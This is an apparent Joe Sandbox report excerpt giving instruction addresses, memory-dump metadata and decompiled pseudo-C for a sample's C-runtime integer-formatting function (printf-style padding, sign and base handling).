0x00435502
0x00435506
0x00000000
0x00000000
0x0043550c
0x0043550f
0x0043550f
0x00435512
0x00435517
0x00435517
0x0043551c
0x0043552e
0x0043552e
0x00435531
0x00435543
0x00435543
0x00435546
0x00435548
0x0043554c
0x0043554c
0x00435533
0x00435533
0x00435537
0x00435537
0x0043551e
0x0043551e
0x00435522
0x00435522
0x0043551c
0x00435556
0x00435559
0x0043555c
0x00435565
0x00435565
0x00435568
0x0043556a
0x00435571
0x00435575
0x0043557e
0x00435583
0x00435586
0x0043558d
0x00435591
0x00435595
0x004355a1
0x004355a4
0x004355a4
0x004355a7
0x004355ac
0x004355ac
0x004355af
0x004355b1
0x004355b8
0x004355bc
0x004355c5
0x004355ca
0x004355af
0x004355cd
0x004355d1
0x004356a5
0x004356a5
0x004356ac
0x004356b0
0x004356b4
0x004356b8
0x00000000
0x004355d7
0x004355d7
0x004355d7
0x004355db
0x00000000
0x00000000
0x004355e1
0x004355e1
0x004355eb
0x004355ee
0x004355f4
0x004355f7
0x004355fd
0x004355fd
0x004355fd
0x00435609
0x0043560c
0x00435612
0x00435614
0x00000000
0x00000000
0x0043561a
0x0043561a
0x00435623
0x0043562a
0x00435634
0x0043563b
0x0043564a
0x00435656
0x00435659
0x0043565f
0x00435666
0x00435671
0x00435671
0x00000000
0x00435671
0x00435668
0x00435668
0x0043566f
0x0043567d
0x0043567d
0x00435684
0x00435688
0x00435696
0x00000000
0x0043569b
0x00000000
0x0043566f
0x004356a3
0x004356c0
0x004356c0
0x004356c7
0x004356cc
0x004356cc
0x004356cf
0x004356d1
0x004356d8
0x004356dc
0x004356e5
0x004356ea
0x004356cf
0x004356c7
0x004356ed
0x004356ed
0x004356f1
0x004356f9
0x00435701
0x00435701
0x00435708
0x00435708
0x004347df
0x004347e5
0x004347f2
0x004347f7
0x00000000
0x0043480a
0x00434814
0x0043483b
0x00434822
0x00434833
0x00434833
0x00434814
0x00434845
0x0043484b
0x00434857
0x0043485a
0x00434868
0x0043486b
0x00434878
0x0043491d
0x00434923
0x00434929
0x00434930
0x00000000
0x00000000
0x00434936
0x0043493c
0x00000000
0x00434943
0x00434943
0x0043495b
0x00434960
0x00434963
0x00434965
0x00434a1f
0x00434a32
0x00434a37
0x00000000
0x0043496b
0x0043497e
0x00434983
0x00434989
0x0043498b
0x00434994
0x00434994
0x00434997
0x004349a3
0x004349a7
0x004349ad
0x004349af
0x004349b4
0x004349b6
0x004349bb
0x004349c0
0x004349c2
0x004349c7
0x004349ca
0x004349cd
0x004349cf
0x004349cf
0x004349cd
0x004349d0
0x004349d0
0x004349d7
0x00000000
0x004349d9
0x004349de
0x004349fa
0x00434a02
0x00434a0f
0x00434a14
0x00000000
0x00434a14
0x004349d7
0x00000000
0x00434a3f
0x00434a3f
0x00434a46
0x00434a49
0x00434a4c
0x00434a4f
0x00434a52
0x00434a55
0x00434a58
0x00434a5f
0x00434a66
0x00000000
0x00000000
0x00434a72
0x00434a72
0x00434a79
0x00434a85
0x00434a88
0x00434a8e
0x00434a95
0x00000000
0x00000000
0x00434a97
0x00434a97
0x00434a9d
0x00434a9d
0x00434aa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ae7
0x00434ae7
0x00434aee
0x00434af1
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b21
0x00434b28
0x00434b28
0x00434b2c
0x00434af3
0x00434af3
0x00434aff
0x00434b02
0x00434b06
0x00434b08
0x00434b0b
0x00434b0b
0x00434b0e
0x00434b14
0x00434b16
0x00434b16
0x00434b19
0x00000000
0x00000000
0x00434b34
0x00434b34
0x00000000
0x00000000
0x00434b40
0x00434b40
0x00434b47
0x00434b4a
0x00434b6a
0x00434b6d
0x00434b6d
0x00434b77
0x00434b77
0x00434b7b
0x00434b4c
0x00434b4c
0x00434b58
0x00434b5b
0x00434b5f
0x00434b61
0x00434b61
0x00434b68
0x00000000
0x00000000
0x00434b83
0x00434b83
0x00434b8a
0x00434b96
0x00434b99
0x00434b9f
0x00434ba6
0x00434cb9
0x00000000
0x00434cb9
0x00434bac
0x00434bac
0x00434bb2
0x00434bb2
0x00434bb9
0x00000000
0x00434bef
0x00434bef
0x00434bf2
0x00434bf5
0x00434bf8
0x00434c20
0x00434c20
0x00434c23
0x00434c26
0x00434c29
0x00434c4e
0x00434c4e
0x00434c51
0x00434c54
0x00434c57
0x00434c90
0x00434ca1
0x00000000
0x00434ca1
0x00434c59
0x00434c59
0x00434c5c
0x00434c5f
0x00434c62
0x00000000
0x00000000
0x00434c64
0x00434c64
0x00434c67
0x00434c6a
0x00434c6d
0x00000000
0x00000000
0x00434c6f
0x00434c6f
0x00434c72
0x00434c75
0x00434c78
0x00000000
0x00000000
0x00434c7a
0x00434c7a
0x00434c7d
0x00434c80
0x00434c83
0x00000000
0x00000000
0x00434c85
0x00434c85
0x00434c88
0x00434c8b
0x00434c8e
0x00434c92
0x00000000
0x00434c92
0x00000000
0x00434c8e
0x00434c2b
0x00434c2b
0x00434c2e
0x00434c32
0x00434c35
0x00000000
0x00434c37
0x00434c3a
0x00434c3d
0x00434c40
0x00434c43
0x00434c49
0x00000000
0x00434c49
0x00434c35
0x00434bfa
0x00434bfa
0x00434bfd
0x00434c01
0x00434c04
0x00000000
0x00434c06
0x00434c09
0x00434c0c
0x00434c0f
0x00434c12
0x00434c18
0x00000000
0x00434c18
0x00000000
0x00434ca3
0x00434ca6
0x00434ca9
0x00000000
0x00000000
0x00434bc0
0x00434bc0
0x00434bc3
0x00434bc6
0x00434bc9
0x00434be1
0x00434be4
0x00434be4
0x00434be7
0x00434bcb
0x00434bce
0x00434bd1
0x00434bd7
0x00434bdc
0x00434bdc
0x00000000
0x00000000
0x00434cae
0x00434cae
0x00434cb1
0x00434cb1
0x00434cb6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434cbe
0x00434cbe
0x00434cc5
0x00434cd1
0x00434cd4
0x00434cda
0x00434ce1
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00434ce7
0x00434ced
0x00434ced
0x00434cf4
0x00000000
0x0043504e
0x0043504e
0x00435055
0x0043505c
0x0043505c
0x0043505f
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434cfe
0x00434d04
0x00434d06
0x00434d09
0x00434d09
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x00434e3b
0x00434e3e
0x00434e3e
0x00434e43
0x00434e45
0x00434e48
0x00434e48
0x00434e4e
0x00434e4e
0x00000000
0x00000000
0x0043521b
0x0043521b
0x00000000
0x00000000
0x00434da5
0x00434da5
0x00434db1
0x00434db7
0x00434dbe
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd5
0x00434de1
0x00434e36
0x00000000
0x00434e36
0x00434dc0
0x00434dc0
0x00434dc6
0x00434dca
0x00434de6
0x00434de9
0x00434de9
0x00434def
0x00434e17
0x00434e1e
0x00434e24
0x00434e27
0x00434e2a
0x00434e30
0x00434e33
0x00434df1
0x00434df1
0x00434df7
0x00434dfa
0x00434dfd
0x00434e03
0x00434e06
0x00434e09
0x00434e0b
0x00434e0e
0x00434e0e
0x00000000
0x00434def
0x00000000
0x00000000
0x00435065
0x00435068
0x0043506b
0x0043506e
0x00435074
0x00435077
0x0043507e
0x00435082
0x0043508d
0x0043508d
0x00435091
0x004350a8
0x004350a8
0x004350af
0x004350b1
0x004350b1
0x004350b8
0x004350b8
0x004350bf
0x004350d0
0x004350df
0x004350e2
0x004350e6
0x004350fc
0x004350e8
0x004350e8
0x004350eb
0x004350f1
0x004350f7
0x004350f7
0x004350e6
0x00435106
0x00435109
0x0043510c
0x0043510f
0x00435112
0x00435115
0x0043511b
0x00435121
0x00435129
0x0043512a
0x0043512d
0x0043512e
0x00435131
0x00435132
0x00435139
0x0043513a
0x0043513d
0x0043513e
0x00435141
0x00435142
0x00435148
0x00435149
0x00435157
0x00435159
0x0043515f
0x0043515f
0x00435165
0x00435167
0x0043516b
0x0043516d
0x00435175
0x00435176
0x00435179
0x0043517a
0x00435188
0x0043518a
0x0043518a
0x0043516b
0x0043518d
0x00435194
0x00435197
0x0043519c
0x0043519c
0x004351a2
0x004351a4
0x004351ac
0x004351ad
0x004351b0
0x004351b1
0x004351c0
0x004351c2
0x004351c2
0x004351a2
0x004351c5
0x004351c8
0x004351cb
0x004351ce
0x004351d3
0x004351d9
0x004351dc
0x004351df
0x004351df
0x004351e2
0x004351e2
0x004351e5
0x004351f1
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x00435502
0x00435093
0x00435093
0x0043509a
0x0043509d
0x00000000
0x00000000
0x0043509f
0x0043509f
0x00000000
0x0043509f
0x00435084
0x00435084
0x00000000
0x00000000
0x00434d11
0x00434d14
0x00434d14
0x00434d1a
0x00434d75
0x00434d7d
0x00434d84
0x00434d8a
0x00434d90
0x00434d1c
0x00434d1c
0x00434d26
0x00434d2a
0x00434d32
0x00434d39
0x00434d46
0x00434d4d
0x00434d59
0x00434d5f
0x00434d66
0x00434d68
0x00434d68
0x00434d6f
0x00434d97
0x00434d9d
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x004351f9
0x004351fc
0x004351ff
0x00435202
0x00000000
0x00000000
0x00434f57
0x00434f57
0x00434f63
0x00434f69
0x00434f6e
0x00434f70
0x0043501a
0x0043501d
0x0043501d
0x00435020
0x00435034
0x0043503a
0x00435040
0x00435022
0x00435022
0x0043502f
0x0043502f
0x00435042
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00434f76
0x00434f76
0x00434f76
0x00434f78
0x00434f86
0x00434f7a
0x00434f7a
0x00434f7a
0x00434f90
0x00434f96
0x00434f9c
0x00434fa3
0x00434fa5
0x00434faa
0x00434fac
0x00434fb1
0x00434fb6
0x00434fb8
0x00434fbd
0x00434fc0
0x00434fc3
0x00434fc5
0x00434fc5
0x00434fc3
0x00434fc6
0x00434fcd
0x00435015
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00434fcf
0x00434fcf
0x00434fd4
0x00434ff0
0x00434ff8
0x00435002
0x00435005
0x0043500a
0x00000000
0x0043500a
0x00000000
0x0043525c
0x0043525c
0x00435266
0x00435266
0x0043526c
0x0043526e
0x00435271
0x00435271
0x00435277
0x00435277
0x0043527a
0x0043527d
0x0043527d
0x00435282
0x004352a4
0x004352a4
0x004352aa
0x004352cc
0x004352cc
0x004352cf
0x00435316
0x00435316
0x00435319
0x00435336
0x0043533a
0x00435342
0x00435342
0x00435344
0x0043534a
0x0043531b
0x0043531b
0x0043531f
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d4
0x004352d7
0x004352f5
0x00435301
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352d9
0x004352dd
0x004352e5
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352ac
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435284
0x00435290
0x00435296
0x00435296
0x00435353
0x00435353
0x00435356
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434e51
0x00434e51
0x00434e55
0x00434e63
0x00434e66
0x00434e57
0x00434e57
0x00434e57
0x00434e6c
0x00434e72
0x00434e78
0x00434e84
0x00434e8a
0x00434e8a
0x00434e90
0x00434ef7
0x00434ef7
0x00434efb
0x00434efd
0x00434f03
0x00434f03
0x00434f06
0x00434f09
0x00434f0f
0x00434f0f
0x00434f0f
0x00434f1b
0x00434f1e
0x00434f24
0x00434f26
0x00000000
0x00000000
0x00434f28
0x00434f28
0x00434f2e
0x00434f31
0x00434f33
0x00000000
0x00000000
0x00434f35
0x00434f3b
0x00434f3e
0x00434f3e
0x00434f46
0x00434f46
0x00434f4c
0x00434f4c
0x00434f4f
0x00000000
0x00434e92
0x00434e92
0x00434e92
0x00434e96
0x00434e98
0x00434e9d
0x00434e9d
0x00434ea0
0x00434ea7
0x00434eaa
0x00434eb0
0x00434eb0
0x00434eb0
0x00434ebc
0x00434ebf
0x00434ec5
0x00434ec7
0x00000000
0x00000000
0x00434ec9
0x00434ec9
0x00434ecf
0x00434ed2
0x00434ed4
0x00000000
0x00000000
0x00434ed6
0x00434edc
0x00434edf
0x00434edf
0x00434ee7
0x00434eed
0x00434ef0
0x00434ef2
0x00434f52
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00435502
0x00000000
0x0043520b
0x0043520b
0x0043527a
0x0043527a
0x0043527d
0x0043527d
0x00435282
0x004352a4
0x004352a4
0x004352aa
0x004352cc
0x004352cc
0x004352cf
0x00435316
0x00435316
0x00435319
0x00435336
0x0043533a
0x00435342
0x00435342
0x00435344
0x0043534a
0x0043531b
0x0043531b
0x0043531f
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d4
0x004352d7
0x004352f5
0x00435301
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352d9
0x004352dd
0x004352e5
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352ac
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435284
0x00435290
0x00435296
0x00435296
0x00435353
0x00435353
0x00435356
0x00000000
0x00000000
0x00000000
0x00435356
0x00000000
0x00435227
0x00435227
0x00435231
0x00435231
0x0043523b
0x0043523b
0x00435241
0x00435243
0x0043524d
0x0043524d
0x00435250
0x00435253
0x00435253
0x0043527a
0x0043527a
0x0043527d
0x0043527d
0x00435282
0x004352a4
0x004352a4
0x004352aa
0x004352cc
0x004352cc
0x004352cf
0x00435316
0x00435316
0x00435319
0x00435336
0x0043533a
0x00435342
0x00435342
0x00435344
0x0043534a
0x0043531b
0x0043531b
0x0043531f
0x00435327
0x00435328
0x0043532e
0x0043532e
0x004352d1
0x004352d4
0x004352d4
0x004352d7
0x004352f5
0x00435301
0x00435304
0x00435305
0x0043530b
0x004352d9
0x004352d9
0x004352dd
0x004352e5
0x004352e6
0x004352e7
0x004352ed
0x004352ed
0x00435311
0x004352ac
0x004352ac
0x004352b8
0x004352be
0x004352be
0x00435284
0x00435284
0x00435290
0x00435296
0x00435296
0x00435353
0x00435353
0x00435356
0x00000000
0x00000000
0x00000000
0x00435356
0x00000000
0x00435502
0x00435502
0x00435502
0x00435506
0x00000000
0x00000000
0x00000000
0x00435506
0x00000000
0x00000000
0x00434ac1
0x00434ac4
0x00434ac7
0x00000000
0x00000000
0x00434acc
0x00434acf
0x00434ad4
0x00000000
0x00000000
0x00434ab6
0x00434ab6
0x00434ab9
0x00434abc
0x00000000
0x00000000
0x00434aab
0x00434aae
0x00434ab1
0x00000000
0x00000000
0x00434ad9
0x00434ad9
0x00434adc
0x00434adc
0x00434adf
0x00000000
0x00000000
0x00434ae2
0x00000000
0x00000000
0x0043487e
0x00434880
0x0043488e
0x00434882
0x00434882
0x00434882
0x00434898
0x0043489e
0x004348ab
0x004348ad
0x004348b2
0x004348b4
0x004348b9
0x004348be
0x004348c0
0x004348c5
0x004348cb
0x004348cd
0x004348cd
0x004348cb
0x004348ce
0x004348d5
0x00000000
0x004348d7
0x004348dc
0x004348f8
0x00434900
0x0043490d
0x00434912
0x004357d1
0x004357de
0x004357de
0x004348d5
0x00434878
0x0043570d
0x0043570d
0x00435714
0x0043572b
0x0043572b
0x00435735
0x00435735
0x0043573b
0x00435741
0x00435748
0x0043574a
0x0043574f
0x00435751
0x00435756
0x0043575b
0x0043575d
0x00435762
0x00435765
0x00435768
0x0043576a
0x0043576a
0x00435768
0x0043576b
0x00435772
0x004357bd
0x004357c6
0x004357cb
0x00435774
0x00435779
0x00435795
0x0043579d
0x004357aa
0x004357af
0x004357af
0x00000000
0x00435772
0x00435716
0x00435716
0x0043571d
0x00000000
0x00000000
0x0043571f
0x0043571f
0x00000000
0x0043571f
0x00435502
0x004354d9
0x004354d9
0x004354dd
0x004354ea
0x004354ed
0x004354f0
0x004354f3
0x004354f6
0x004354f9
0x004354fc
0x004354fc
0x004354ff
0x00000000
0x004354ff
0x004354df
0x004354df
0x004354e2
0x004354e5
0x004354e8
0x00000000
0x00000000
0x00000000
0x004354e8
0x00435441
0x00435441
0x00435444
0x00435447
0x0043544e
0x00435455
0x0043545d
0x00435463
0x00435466
0x00435469
0x00435470
0x0043547c
0x00435482
0x00435488
0x0043548f
0x00435491
0x00435497
0x00435497
0x0043549d
0x0043549d
0x004354a3
0x004354a6
0x004354ac
0x004354b1
0x004354b4
0x00435423
0x00435423
0x00435429
0x0043542c
0x0043542f
0x00435431
0x00000000
0x00000000
0x00000000
0x00435431
0x00435423
0x00435363
0x00435363
0x0043536a
0x00000000
0x00000000
0x00000000
0x00435398
0x00435398
0x0043539e
0x004353a4
0x004353aa
0x00000000
0x004353aa
0x0043527a
0x00435231
0x0043521b

APIs

_get_int64_arg.LIBCMTD ref: 00435288
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477

Strings

0, xrefs: 00435243
9, xrefs: 00435488

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: d884b4d8236fcf906a7d27879fa12957cbf0c60a9336a019a865a6c248e41687
Instruction ID: eb2e37975fcd46b98df99820cce3d6945f8237e8f4e2426ebc36390b413c0a9a
Opcode Fuzzy Hash: d884b4d8236fcf906a7d27879fa12957cbf0c60a9336a019a865a6c248e41687
Instruction Fuzzy Hash: 4C41F4B1D15A29DFDB24CF48C889BAEB7B5FB58304F2491DAE409A7240C7785E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427ED5, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427ED5() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004285E0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004285A0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E004358F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E004285A0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E004358F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
													} else {
														L195:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L203;
														}
														L196:
														 *(__ebp - 0x2d4) = 0;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x2c0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
														while(1) {
															L197:
															__ecx =  *(__ebp - 0x2c4);
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L198:
															__eax =  *(__ebp - 0x2c0);
															 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
															__edx =  *(__ebp - 0x316) & 0x0000ffff;
															__eax = __ebp - 0x2d0;
															__ecx = __ebp - 0x2c8;
															 *(__ebp - 0x2d4) = E004344A0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
															__eflags =  *(__ebp - 0x2d4);
															if( *(__ebp - 0x2d4) != 0) {
																L200:
																 *(__ebp - 0x24c) = 0xffffffff;
																break;
															}
															L199:
															__eflags =  *(__ebp - 0x2c8);
															if( *(__ebp - 0x2c8) != 0) {
																L201:
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c8);
																__ebp - 0x2d0 = E004358F0( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
																continue;
															}
															goto L200;
														}
														L202:
														L204:
														__eflags =  *(__ebp - 0x24c);
														if( *(__ebp - 0x24c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
